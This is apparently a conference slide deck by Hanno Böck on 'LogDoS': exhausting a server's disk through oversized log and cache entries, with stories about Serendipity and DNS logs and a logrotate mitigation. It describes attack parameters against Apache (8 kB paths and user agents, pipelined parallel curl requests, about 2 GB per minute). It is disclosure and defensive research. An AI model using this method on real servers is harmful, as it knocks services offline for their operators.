LogDoS

Hanno Böck

hboeck.de

@hanno

CC0, pixabay

Sometimes the disk is full and your computer says

No space left on device

A story

I recently noticed that my blog - running the PHP-based software Serendipity - was using a lot of space

The cache directory was really large (several Gigabyte)

Serendipity creates a cache entry for every URL accessed

Including 404 error pages

(which contain the content of the blog frontpage, so they're relatively large)

Access a lot of URLs ➡️ lots of space needed

If you run Serendipity you may want to disable the cache, it's unclear if it has any performance benefit on modern PHP

See discussion in bug tracker

A second story

I noticed an unusually large nameserver log

Someone ran a bruteforce on subdomains of my domain, which created a lot of log file entries

This can be used as an attack - fill a server's hard disk until it runs out of space and that may cause all kinds of malfunction

How fast can we do this?

The Serendipity bug is pretty specific and DNS isn't ideal for this kind of attack (very low limits)

Let's try this on Apache HTTPD

Apache logs

  • The path (which can be up to 8 kB)
  • The user agent (which can also be up to 8 kB)
  • Bonus: If the path is longer than a filename then it also causes an entry in the error log

So we can add ~24 kB to the log with one request

HTTP/2 supports compression and pipelining

Optimize a bit

  • 8k path and 8k user agent
  • 200 requests over one curl connection
  • 50x curl in parallel

Around 2 Gigabyte per minute

One can mitigate this with smarter logrotate


/var/log/my_log_file.log {
	rotate 5
	daily
	maxsize 50M
	dateext
	dateformat -%Y%m%d-%s
}

Still it's pretty challenging to defend against 2 GB per minute

Obviously there are many possibilities to fill disk space

  • Comments
  • Mailboxes
  • ...
  • Feel free to investigate

Defense against LogDoS is hard

Performance features make the attack faster